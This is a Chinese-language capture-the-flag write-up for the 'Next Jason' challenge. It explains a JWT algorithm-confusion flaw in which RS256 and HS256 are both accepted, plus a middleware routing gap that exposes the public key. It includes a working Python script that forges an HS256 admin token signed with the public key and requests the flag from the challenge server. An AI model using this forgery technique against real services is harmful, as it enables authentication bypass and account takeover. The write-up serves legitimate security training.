← 返回首页

NULL CTF Next Jason:JSON 解析的边界

2025-12-17

Next Jason

// app/token/verify/route.js
function verifyToken(token) {
    // 危险:允许 HS256
    return jwt.verify(token, PUBKEY, { algorithms: ['RS256', 'HS256'] });
}

verifyToken 函数在验证 JWT 时,同时允许了 RS256 (非对称加密) 和 HS256 (对称加密) 算法:

攻击路径 :

  1. 攻击者访问 /api/getPublicKey 获取公钥 ( public.pem )。
  2. 攻击者在本地伪造一个 JWT,将 Payload 设置为 { "username": "admin" } 。
  3. 关键步骤 :攻击者将 JWT Header 中的算法设置为 HS256 ,并使用获取到的 公钥内容作为 HMAC 签名的密钥 进行签名。
  4. 当服务器接收到这个 Token 时, jwt.verify 看到算法是 HS256 (在允许列表中),于是它会使用第二个参数 PUBKEY 作为对称密钥来验证签名。
  5. 由于攻击者正是用这个公钥内容签名的,验证将通过。
  6. 服务器误认为这是合法的 Admin Token,从而允许攻击者获取 Flag。

但是/api/getPublicKey收到保护

export const config = {
    matcher: '/api/:path*',
};

生成 Token 和验证 Token 的路由位于:

我们可以利用这个配置漏洞构建以下攻击路径:

  1. 获取合法 Token : 直接访问未受保护的 /token/sign 接口,注册一个普通用户(非 admin),获得合法的签名 Token。
  2. 获取公钥 : 使用第一步获得的合法 Token,通过中间件验证,访问 /api/getPublicKey 获取公钥。
  3. 伪造 Admin Token : 利用获取到的公钥和 JWT 算法混淆漏洞 ,在本地伪造一个 HS256 算法的 Admin Token。
  4. 获取 Flag : 使用伪造的 Admin Token 访问 /api/getFlag
#!/usr/bin/env python3
import requests
import base64
from jwcrypto import jwt, jwk

# Target URL
URL = "http://3f5202780ddd.challs.ctf.r0devnull.team:8001/api/getFlag"

# 注意:这里保留原始换行符 \n(与服务器返回完全一致)
PUBKEY_PEM = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4QMizb2gq5HcyqmAyf0i
ihNDINXX7SG3y5VbzPzj5FEPT3PPwUgXkZESW3e2SxRMlvxW44JZqTwwOPbfGbr7
f+TolBQaIaMCsl/M/eX8dZAkS9Goui0EYZUQdtTjhLAaXFDp3zvNRlJrpvzGus8C
DvRbll6JudfdPrB2HhSUOWT5PIGPqbsW8RuWWIj8uxkLZr1zhVy+mr86mP0YisA2
h134+kIweN4CUYydrvch6mlSgRp+bnJI116egFCNX0JL1ee4oeKsWhlQNapx8FIc
Bpb8KQ4xfaJudjef0NmSEfo1w5UrhquPN+CoCDUQ1nNKAnRKrFqvZFTND/lR71s8
QQIDAQAB
-----END PUBLIC KEY-----
"""

def forge_admin_token(public_key_pem: str) -> str:
    """使用 PEM 字符串(含 \\n)作为 HS256 密钥伪造 admin token"""
    secret = public_key_pem.encode()  # 关键:保留所有换行
    key_b64url = base64.urlsafe_b64encode(secret).decode().rstrip('=')
    key = jwk.JWK(kty='oct', k=key_b64url)
    token = jwt.JWT(header={"alg": "HS256"}, claims={"username": "admin"})
    token.make_signed_token(key)
    return token.serialize()

def main():
    print("[*] Forging admin token using PEM with newlines...")
    forged_token = forge_admin_token(PUBKEY_PEM)
    print(f"[+] Token: {forged_token[:40]}...")

    # 发送请求
    cookies = {"token": forged_token}
    resp = requests.get(URL, cookies=cookies)

    print(f"[*] Status Code: {resp.status_code}")
    print(f"[*] Response: {resp.text}")

    if resp.status_code == 200 and "flag" in resp.text:
        print("\n🎉 Exploit succeeded!")
    else:
        print("\n❌ Exploit failed. Check token or target.")

if __name__ == "__main__":
    main()